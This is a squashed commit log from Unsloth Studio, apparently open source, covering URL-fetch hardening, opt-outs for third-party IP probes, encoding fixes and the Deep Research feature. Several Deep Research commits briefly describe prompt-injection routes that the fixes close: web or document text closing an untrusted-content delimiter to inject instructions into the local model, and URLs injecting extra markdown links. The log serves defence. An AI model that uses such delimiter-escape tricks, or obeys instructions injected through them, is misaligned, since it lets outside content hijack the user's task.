The formatter expands a signature carrying a spaced kwarg default, which put
the stub opener on eleven lines. **kw absorbs the timeout the fetch loop
passes and leaves the whole stub on four.
* Never let a malformed URL escape _fetch_url_raw as an exception
The URL is model-supplied, so every bad form should come back as one of the
documented (error, body, content_type) strings. Three gaps remained:
urlparse itself raises on an unmatched IPv6 bracket and on a netloc that
NFKC-decomposes into a delimiter (//exam(fullwidth-solidus)ple.com), and both
calls sat outside a guard. getaddrinfo raises UnicodeError, which is a
ValueError and not the OSError _validate_and_resolve_host catches, when IDNA
encoding rejects a hostname.
Over a 3158 URL corpus that injects tabs, newlines, C0 controls, delimiters and
NFKC confusables at every position, main raises 42 times and this raises none.
Also strip surrounding whitespace in _normalize_url_scheme. _web_search already
stripped, but normalization moved down to the fetch layer, so a direct
_fetch_page_text caller did not get it.
* Name the host in the status badge and tool card for bare URLs
status_for_tool and the web-search tool card both required an explicit scheme
before reading the hostname, so every URL this branch newly makes fetchable
showed the generic "Reading page..." and "Read page" instead of the host.
Under permission_mode=ask that means the approval card named no destination for
exactly the inputs the branch enables.
The backend reuses _normalize_url_scheme. The frontend cannot, since new URL()
throws on a bare host, so RE_BARE_HOST mirrors the same grammar: only a dotted
host with an optional in-range port gets the https prefix, leaving /login,
javascript: and userinfo forms to render generically as before.
Also mention bare hostnames in the url parameter description, since they are
part of the accepted interface now.
* Do not let a malformed URL in the status badge kill the tool turn
status_for_tool runs inside prepare_call, before the fetch and outside the
handler that wraps tool execution, so a ValueError from urlparse ends the whole
turn instead of letting _fetch_url_raw return its blocked message.
_normalize_url_scheme catches its own parse error and hands back the original
string, so the parse here still has to be guarded.
Reachable with https://[::1 or a host that NFKC-decomposes into a delimiter.
This predates the branch, main raises identically, but the badge is one of the
lines this branch touches and the rest of it already promises no malformed URL
escapes as an exception.
* Tighten the comments added by this branch
* Revert the web_search url description change
The premise of this branch is that models already emit bare hostnames
unprompted, which is why the fetch layer had to stop refusing them. Advertising
the bare form in the tool schema does not enable anything, it just steers models
toward it, and that is the form carrying every edge case: ambiguous with dotted
custom schemes, and unlike an explicit scheme it does not cover IPv6 literals,
IDN or trailing-dot FQDNs.
The fetch layer tolerates bare hosts. The schema should keep recommending a
full URL. This also drops the one change here with no regression test.
* Match the backend port rule in the tool card host
The card's bare-host pattern required at least one digit after the colon, but
the backend fetches an empty port (example.com: and example.com:/path go to the
default HTTPS port), so a successful fetch rendered as "Read page" with no
host.
Allowing an empty port alone would have swung it the other way: example.com:0
is refused by the backend but new URL() accepts it, so the card would have named
a host that is never fetched. That mismatch was there before this change too.
Mirror the backend rule instead, an empty port or one in 1-65535, checked
against every case in the normalizer's own matrix.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Remove the no-op rmtree guard around the GGUF save
patch_unsloth_gguf_save saves shutil.rmtree and restores it, but never
replaces it, so the context manager does nothing. Its comment claims it
prevents deletion of the directory save_pretrained just created.
It reads as a copy of the patch_unsloth_save sibling above it, minus the one
line that does the work. Completing it is not the right fix though: the GGUF
call forces push_to_hub=False and the merge cleanup that would remove the save
directory is gated on push_to_hub=True, so nothing on this path calls rmtree.
That was verified on a real LoRA-backed q8_0 export with every rmtree call
logged, in the discussion on #7149.
Drop the dead context manager rather than leave code that looks like a guard
and is not. Behaviour is unchanged; the following step comments are renumbered
to stay contiguous.
* Note why no rmtree guard is needed at the GGUF call site
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* Let a decode failure degrade instead of escaping a fail-closed helper
Pinning utf-8 makes a read that used to return mojibake on Windows raise
instead. 33 of those reads sit under a handler catching OSError or
json.JSONDecodeError but not UnicodeDecodeError, which subclasses
ValueError, so a corrupt file would now escape a helper written to return
a default. Adds UnicodeDecodeError to those tuples only.
* Treat an undecodable install lock as stale instead of retrying forever
* Pin utf-8 on shipping-code text I/O instead of the operator locale
113 read_text/write_text/open call sites across unsloth, studio and
unsloth_cli let locale.getencoding() decide the encoding. That is utf-8 on
the Linux and macOS runners and cp1252 on a stock Windows install, so the
same file decodes differently for a Windows user and silently produces
mojibake or raises UnicodeDecodeError.
Adds tests/test_runtime_text_encoding.py to keep it that way. It resolves
openers through each file's own imports rather than a fixed list of module
names, so an aliased tarfile.open or a local from PIL.Image import open is
not asked for an encoding it does not take.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan tracked files only and resolve the unbound Path calling forms
* Honour PEP 263 when scanning sources and migrate a legacy JSONL before appending
* Scope guard imports lexically and only migrate a legacy file when it round-trips
* Leave a legacy JSONL untouched and resolve path aliases in the foreign-opener check
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Both tests remove asyncio.timeout to exercise the fallback path in
_wall_clock_timeout. On Python 3.10 that attribute does not exist in the
first place, so monkeypatch.delattr raises AttributeError and Backend CI
fails on its 3.10 leg. raising=False keeps the intent, the attribute is
absent either way.
* Studio: make the startup public-IP lookup opt-in (#7307 P8)
Startup resolved the machine's external IP by asking ifconfig.me whenever
Studio bound to 0.0.0.0 or ::. That tells whoever runs that service this
host is running Unsloth, which the user never agreed to.
The lookup is now gated behind UNSLOTH_STUDIO_PUBLIC_IP_PROBE, off by
default, and logs plainly what it sends and where when enabled. Only
1/true/yes/on enable it, so a typo leaves the private default in place.
The other two steps stay unconditional because neither discloses
anything: the GCE metadata server is link-local, and the UDP connect only
asks the kernel which local address routes to 8.8.8.8 without putting a
packet on the wire. Disabling the probe therefore still yields a usable
LAN address for the access banner.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate the check-host.net reachability probe too, and keep the cloud address
Problem 8 of #7307 is the check-host.net probe in _verify_global_reachability: it hands this machine's address and port to a third party and asks its nodes to connect back. That was still unconditional, so on GCE and on any host whose routing address is already public the reported behaviour was unchanged. It is now behind the same UNSLOTH_STUDIO_PUBLIC_IP_PROBE opt-in.
A private interface address is not proof the port is unreachable, since a NAT or cloud firewall can forward it. The private-address path no longer sets _public_reachable = False, so the banner keeps its warning instead of claiming local network only.
To stop the privacy default from costing cloud users their shareable address, step 1 now reads AWS IMDSv2 and Azure IMDS alongside GCE on link-local 169.254.169.254.
Also drops the redundant function-local import os and documents the variable in the README remote access section.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: switch to a single UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK opt-out
Replaces the opt-in variable and the cloud metadata work from the previous commit. Both third-party startup lookups stay on by default, so nothing changes for existing users, and one variable turns both off for lab and privacy-sensitive deployments. That is the fallback the reporter offered in #7307 Problem 8, and it keeps the firewall diagnostic that the reachability check exists to provide.
The ifconfig.me lookup and the check-host.net probe are now both guarded by public_check_disabled(). Parsing matches the nearest existing switch, _trust_forwarded_for in utils/client_ip.py. The reachability guard sits after the private-address branch, which makes no network call, so a LAN user who opts out still gets the address note.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: add durable Deep Research workflows
* Studio: preserve research integration after upstream updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep research worker compatible with Python 3.11
* Studio: address Deep Research lifecycle review
* Studio: preserve durable research recovery
* Studio: preserve research stream and context
* Studio: harden research sources and limits
* Studio: align research with shared chats
* Studio: guard durable research actions
* Studio: protect durable research turns
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: deepen durable research decisions
* Studio: protect research prompts and queries
* Studio: slim research stream deltas
* Studio: preserve research evidence and citations
* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)
- Fix backend CI: add research_runs_router to the synthetic routes stub in
test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
web/document content cannot close an <untrusted_...> wrapper and inject
instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
numbers, non-global IPs, and labeled private identifiers before a query can
reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
(collection and resume paths) instead of per type, which allowed up to 2x the
configured cap.
- Preserve document citations whose filename contains a closing bracket by
tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the research claims table migration atomic
The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.
* Studio: block message edits and regeneration during an active research run
After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.
* Studio: keep the plan review mounted through approval
Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.
* Studio: drop the redundant deep-research persistence change
setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research citations, query privacy, and message protection
Address review findings in the Deep Research backend:
- Escape an unbalanced ")" in citation destinations so a source URL cannot
close the markdown link early and inject a second link, keeping balanced
parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.
Add regression tests for the above.
* Studio: fix Deep Research SSE framing, source counts, and favicon privacy
- Normalize the whole SSE buffer so a CRLF split across transport chunks
still frames events.
- Count web and document sources together in the activity header so a
RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
third-party favicon requests for research sources so visited domains are
not leaked.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address final Deep Research review findings
* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding
Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.
Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.
Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.
Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.
* Studio: read Deep Research synthesis context from the inference orchestrator
Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.
Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
the production wiring is exercised, plus a scrape page-cap test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research query redaction and research autosave
- research_runs: extend the opaque-token allowlist so unlabeled Hugging
Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
backend-stored metadata verbatim on autosave. Merging the client
metadata re-added client-only fields the server never persisted, so the
server-side guard saw a diff and rejected every streamed or snapshot
update with 409.
* Studio: keep composer tool pills always accessible after merge
The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.
* Studio: update Deep Research composer contract to always-expanded layout
The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.
* Studio: do not bind a research run to a populated assistant reply
create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.
* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection
- research_runs: split the synthesis evidence budget evenly across notes so a
small context still keeps a slice of every research step instead of dropping
the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
them in the decision and synthesis prompts, so a closing delimiter in either
cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
direct attachment deletion, so server-managed research prompts and responses
cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.
* Studio: strip invalid document citations that contain brackets
The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.
* Studio: free the RAG search slot when a lookup times out or is cancelled
The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.
* Studio: remove Websites label from research composer
* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)
- Bound the shared RAG search slot to one running worker. The search that is
doing the embedding/index/GPU work now owns the admission slot until it
finishes, instead of freeing it on caller timeout while the detached worker
keeps running, which let a second search enter and stack concurrent work
behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
history. Deleting cascade-drops the run row, but the worker only notices at
its next lease check, so it could keep doing model/web/RAG work for a run
that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
matching the decision and synthesis prompts, so untrusted text cannot forge
planner delimiters.
- Do not let a research key-revocation failure replace a successful
non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
sensitive-key scan when its inner keys are unlisted and would reach retrieval
code that expects a scalar scope id.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: remove research composer globe icon
* Studio: use Hugeicons telescope in research composer
* Studio: use Telescope02 icon in research composer
* Studio: standardize Deep Research telescope icons
* Studio: move Deep Research below web and code tools
* Studio: merge grounded page excerpts with search snippets instead of replacing
When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).
Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.
* Studio: fix stale website access assertion in Deep Research contract test
The dialog heading was renamed to a DialogTitle, so the contract test still
asserted a <span>Websites</span> that no longer exists and failed on every
branch built on this one. Assert the current heading instead.
* Add AGPL-3.0 SPDX header to the two new test files for PR #7219
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix citation loss, effort clamping and nested inferenceRequest for PR #7219
Three review findings, each with a regression test that fails without the fix.
Citation dropped for a bare URL in prose parentheses. _RAW_URL swallows the
closing paren and the old trim set only stripped ".,;:!?", so the catalog
lookup missed and the validator deleted the whole citation, leaving an
unbalanced "(" in the report. New _trim_url_tail follows GFM extended autolink
path validation: one right-to-left pass that interleaves punctuation and
unmatched-")" trimming. Both rules must run in the same loop, else
"https://x/y.)" keeps a stray dot. Balanced parens inside a URL
(Wikipedia-style) still survive. Output verified against cmark-gfm on nine
cases, including "https://x/foo)bar)" which must keep ")bar".
Research runs forwarded reasoningEffort unclamped. The local chat path clamps
to the loaded model's advertised levels; the research branch did not, and the
backend only validates enum membership, so llama.cpp dropped a level the model
lacks and the whole durable run silently fell back to the template default.
Now uses the same helper and the same levels as normal chat. Note this makes
"max" on a gpt-oss low|medium|high model resolve to "low" rather than falling
through to the template default, matching normal chat exactly; the divergence
between the two paths was the bug.
Nested inferenceRequest values were persisted. Every allowed field is a scalar
and the numeric/bool/enum ones reject a container while coercing, but "model"
is stringified with str(), which never raises, so {"auth": "sk-..."} slipped
past the sensitive-key scan ("auth" is not on the list) into the durable run
config as the model id. Mirrors the ragScope guard already in this PR.
Verified: 542 passed across the research/web/sandbox/chat-history backend
suites, frontend contract 10 passed, tsc --noEmit clean.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix report-stalling regex, uncataloged KB evidence and bracketed titles for PR #7219
Catastrophic backtracking in _DOCUMENT_CITATION. The alternation
(?:[^\[\]]+|\[[^\[\]]*\])* backtracks exponentially on an unterminated
"[Document:" with no later bare "]", which is ordinary malformed model output
and exactly what this sanitizer exists to handle. Runtime quadrupled every two
characters; one realistic 76-char line did not finish in 90s. It runs
synchronously inside async _research (the line below it uses asyncio.to_thread),
so a single bad report pins the event loop and stalls all of Studio, not just
the run. Replaced with the language-equivalent unrolled form, verified identical
on well-formed inputs including bracketed filenames, and linear: a 20,000-char
tail now takes 0.4ms. Not using possessive quantifiers or atomic groups, which
need Python 3.11 while this package declares >=3.9.
Uncataloged knowledge base evidence reached synthesis. When maxSources is
already full, every returned chunk hits the continue, so accepted_rag_sources
stays empty, the "if accepted_rag_sources" rebuild no-ops and rag_result keeps
the raw KB text. That text has no document_source_catalog entry, so the
validator strips any citation to it and synthesis is left building claims on
private KB chunks it cannot attribute. Cleared, gated on rag_sources so a
text-only KB reply is still passed through. The resume branch built rag_evidence
from all restored sources with the same hole, so it now mirrors the live loop.
Bracketed source titles destroyed their own citation. The catalog gave the model
the raw title while the citation writer stripped brackets. Search titles
routinely carry one ("[PDF] Annual Report"), and the prompt tells the model to
copy the title verbatim, producing a label the validator cannot match. Both
sides now share _citation_title.
Verified: 756 passed across the research/web/sandbox/chat-history/rag backend
suites. Each fix has a regression test that fails without it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep a durable run alive when no model is loaded for PR #7219
A durable run is claimable within the supervisor's poll interval of startup
(main.py starts it in the lifespan, and claim_next takes any 'running' run whose
lease expired), Studio has no startup model auto-load, and the browser is not
connected yet. So restarting Studio mid-run reliably lands the next model call
on the local endpoint's HTTP 400 "No model loaded". That 400 is not retryable:
_completion retries only >= 500, and _stream_completion, which serves both
planning and synthesis, has no retry at all. The run is marked failed, and the
only recovery is retry, which sets report_text NULL and deletes every
research_plan_step, research_source and research_document_source. Up to an hour
of scraping and synthesis is lost on a plain restart, on the feature whose whole
point is surviving one.
Treat only that refusal as transient: wait up to the run's own
modelTimeoutSeconds for a model to come back, then re-send. Any other 400 still
fails immediately, so no behaviour changes on the happy path. The wait polls
_check_active, so cancellation and lease loss are still honoured, and the model
probe fails open, so a probe error can only send a request, never withhold one.
Each wait is bounded by the run timeout and the number of waits per call is
capped, so a model that keeps disappearing cannot re-send forever.
Deliberately not pinning or restoring the model, which the review comment also
suggested. Auto-switch is opt-in, default off, and GGUF-only, so restoring
would silently evict the model the user just loaded from a background worker,
and comparing the configured name to the loaded id is fragile across variant
suffixes and advertised aliases, so it would break working runs.
Verified: 853 passed across the research/web/sandbox/chat-history/rag/inference
backend suites. Eight of the nine new tests fail without the fix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make website-policy search reach the whole allowlist and refill past blocks for PR #7219
Two review findings on the website access policy.
Domains past the site: filter cap were undiscoverable. The policy accepts up to
100 allowed domains and the prompt tells the model all of them are searchable,
but scope_search_query always scoped to allowed[:8], so a source in the ninth or
later domain could never be found, and an undiscovered URL cannot be fetched
either. The cap itself is right, search engines stop honouring long OR chains,
so the window now rotates by a hash of the query instead of being a fixed head.
Every allowed domain is reachable across a multi-step run, the same query is
always scoped the same way, and lists at or under the cap are unchanged.
A page of blocked results returned nothing. The policy filters after the search
while DDGS was asked for exactly max_results candidates, so if those happened to
be disallowed the tool reported no results even when valid ones ranked just
below, wasting a research step. Ask for a deeper pool when a policy is set and
stop at max_results allowed entries. No policy means no over-fetch, so ordinary
searches are unchanged.
Verified: 2324 passed across the research/web/sandbox/chat-history/rag/tool
backend suites. The 8 test_studio_api.py failures are pre-existing and need live
OpenAI/Anthropic credentials; they fail identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Only overfetch search results when the website policy restricts for PR #7219
Follow-up to 8be0b3699. Every run stores normalize_website_policy(...), which
returns {"allowedDomains": [], "blockedDomains": []} and is truthy even when
nothing is restricted, so the default unrestricted path asked DDGS for four
times as many results on every step. That is pure added latency and timeout
risk, since the filter passes everything and only max_results entries are
returned either way. Test the domain lists rather than the dict.
* Budget the whole research prompt against the loaded context for PR #7219
Only the synthesis evidence was budgeted, so the budget could not prevent the
overflow it existed to prevent.
Measured at head with a realistic prompt (40-source catalog, 12-step plan): the
untrimmable scaffolding is about 7,900 chars and the conversation context adds
up to 12,000 more. On a 4096-token context, which is the GGUF auto-fit floor and
the transformers default, the synthesis request came to about 1.7x the window.
Worse, _synthesis_evidence_budget computed usable_tokens = 0 at or below the
4,096-token reserve and then returned the 1,500-char floor anyway, so it added
evidence to a prompt that already did not fit. The decision prompt had no
context awareness at all: a fixed evidence[-60000:], roughly ten times a small
window, on every step rather than once at the end.
Overflow is not cosmetic here. It either silently truncates and degenerates the
report, as the comment above these constants already warned, or fails the run,
and a failed run is only recoverable via retry, which deletes every plan step,
source and document source and nulls the report.
Both paths now share _prompt_char_budget plus _trimmable_budget: each trimmable
section is measured against what the rest of the prompt leaves, and can reach 0
instead of a floor, because a shorter report beats a destroyed run. Evidence is
budgeted before the chat history, since the evidence is the report. Unknown
context still keeps the full cap.
At 4096 tokens the synthesis prompt now fits (0.6x). Below that it is still
over, since a 40-source catalog alone exceeds the window; that needs a smaller
maxSources, and the context box does accept values down to 128.
test_synthesis_evidence_budget_tracks_loaded_context asserted the old floor at
2048 tokens, which is the bug, so it now asserts 0 and that the rest of the
prompt counts against the same budget.
Verified: 2325 passed across the research/web/sandbox/chat-history/rag/tool
suites. The test_mcp_stdio_sessions failure is pre-existing and fails
identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope replayed research history to its own attempt for PR #7219
A retry deletes the previous attempt's research_plan_steps, research_sources
and research_document_sources rows but keeps its events, and the SSE route
attaches one live run snapshot to every event it emits, replayed history
included. The step.completed payload carries only position, title, action,
input and sourceCount, so that snapshot is the sole source of the excerpt and
evidence.
On any refresh after a retry, a replayed attempt-0 step was therefore matched
against attempt-1's step row by position alone, and start_position resets to 0
after the delete, so the positions line up exactly. The preserved attempt-0
activity then showed attempt-1's excerpt and evidence, or lost them entirely
when attempt 1 had not yet reached that position, under a banner that says
previous activity is preserved. The run.started resumed branch read the same
cross-attempt snapshot and spliced those activities out.
Both are gated on the event's attempt matching the snapshot's retryCount, which
is the same attempt scoping get_reasoning_text already applies server-side. The
excerpt and evidence fall back to what the activity already holds, so a mismatch
is non-destructive rather than blanking it.
Verified: frontend contract 11 passed, tsc -b exit 0, and the new test fails
without the store change.
* Retry pre-stream failures in the research stream for PR #7219
_stream_completion serves planning, every decision step and synthesis, and it
had no transport retry: a connection error or a 5xx raised before any response
byte failed the durable run, and retry then deletes every gathered source,
document source and plan step. _completion already treats the identical
failures on the identical endpoint as retryable, so the two paths disagreed.
This is partly a hole my own 689b06535 opened. After the no-model 400 the body
is read, the connection returns to the pool, and _wait_for_local_model then
sleeps for up to modelTimeoutSeconds before re-sending on the same client.
Uvicorn's keep-alive is 5s, so that pooled connection is essentially always
server-closed by then, and losing the has_expired race raises
RemoteProtocolError, killing the run the wait existed to save. Also reachable
via a read timeout waiting for headers under prompt-eval load.
Retrying is safe only because nothing has been consumed at that point, and that
is structural rather than a convention: with stream=True httpx returns on the
response headers without calling aread(), and raise_for_status() reads no body,
both verified against the installed 0.28.1. The handler is scoped to the inner
try that ends at break, and _iter_stream_lines sits outside the loop with no
path back to send, so a re-send cannot duplicate report text.
Bounded and mirrors _completion: same >= 500 predicate, same 3 attempts, same
2**attempt backoff, lease and cancellation re-checked before re-sending. The
transport counter and the model-wait counter are independent, so they cannot
multiply. The response is closed before every re-send, as manual stream mode
requires.
Note HTTPStatusError is not a TransportError in httpx, so both are caught
explicitly.
Verified: 2330 passed. Five of the new tests fail without the fix; the three
that pass either way are the invariants that must not change (fail fast on a
real 400, never retry once the report has streamed, existing model-wait path).
* Bound the planning prompt to the loaded context for PR #7219
Completes dc16598a4, which budgeted the decision and synthesis prompts but left
planning unbounded. The question reaches the planner verbatim (a pasted document
arrives here as-is) and the history is capped only at the fixed 12,000 chars,
so on a small context planning could overflow before any plan was persisted,
failing the run without doing any research at all.
Same helpers as the other two paths. The question is budgeted before the
history, since the question is the request.
A test now asserts all three prompt paths hold their own context budget, so a
fourth path cannot be added later without one.
Verified: 2331 passed; the new test fails without the change.
* Keep prompt inputs non-empty and fit the source catalog for PR #7219
Two follow-ups to the prompt budgeting, the first a regression I introduced in
dc16598a4.
The output reserve was a flat 4096 tokens, so on any context at or below that,
including the documented 4096-token GGUF floor, the whole prompt budget came out
as 0. Every trimmable section then sliced to nothing: planning_question became
the empty string, so the planner never saw the request at all, and synthesis
dropped all its evidence. Removing the old floor outright went too far; an empty
prompt is worse than the overflow it was avoiding. The reserve is now capped at
half the window, and the question and the evidence each keep a floor, since one
carries the request and the other carries the answer. A truncated completion is
recoverable, a confidently empty report is not.
The source catalog was the one section still inserted whole. It holds up to
maxSources entries with snippets persisted at up to 4000 chars each, so on a
smaller context it alone could exceed the budget while the code responded only
by zeroing the evidence and history. It is now fitted first, dropping whole
entries from the tail rather than slicing mid-entry, because a half-truncated
URL is worse than an absent one: the validator would strip it and the claim
would be left uncited.
Verified: 2333 passed. All three new tests fail without the change; the question
now keeps 1072 chars at a 2048-token context and 4144 at 4096, where both were
previously 0.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten Deep Research comments for PR #7219
Post-convergence comment pass over the 40 source files in the PR diff, limited
to lines the PR itself adds so untouched upstream code in the same files is left
alone. 15 files, 110 insertions, 141 deletions.
The reduction is deliberately small. Almost every comment here records why
something non-obvious is done, a measured result, a spec rule, or the exact bug
it prevents, and those are worth more than the lines they cost, so nearly every
edit is a same-meaning compression rather than a deletion. Kept in full: the GFM
autolink citation for the URL trim, the catastrophic-backtracking note on
_DOCUMENT_CITATION, the prompt-budget notes recording that a reserve at or above
the context leaves nothing, the two measured site: filter findings, and the
remount note on the activity panel key.
Verified comment-only three ways: comment_tools.py reports 15/15 code-unchanged,
and an independent ast.dump comparison with docstrings stripped shows zero of the
12 Python files differing. 421 backend tests and the 11 frontend contract tests
pass, and the phrase the contract test asserts on is still present on one line.
* Harden Deep Research model streams
* Fit Deep Research decision prompts
* Preserve Deep Research follow-up context
* Redact composite credentials from research queries
* Scale Deep Research UI typography
* Address Deep Research refinement review
* Harden Deep Research refinement edge cases
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
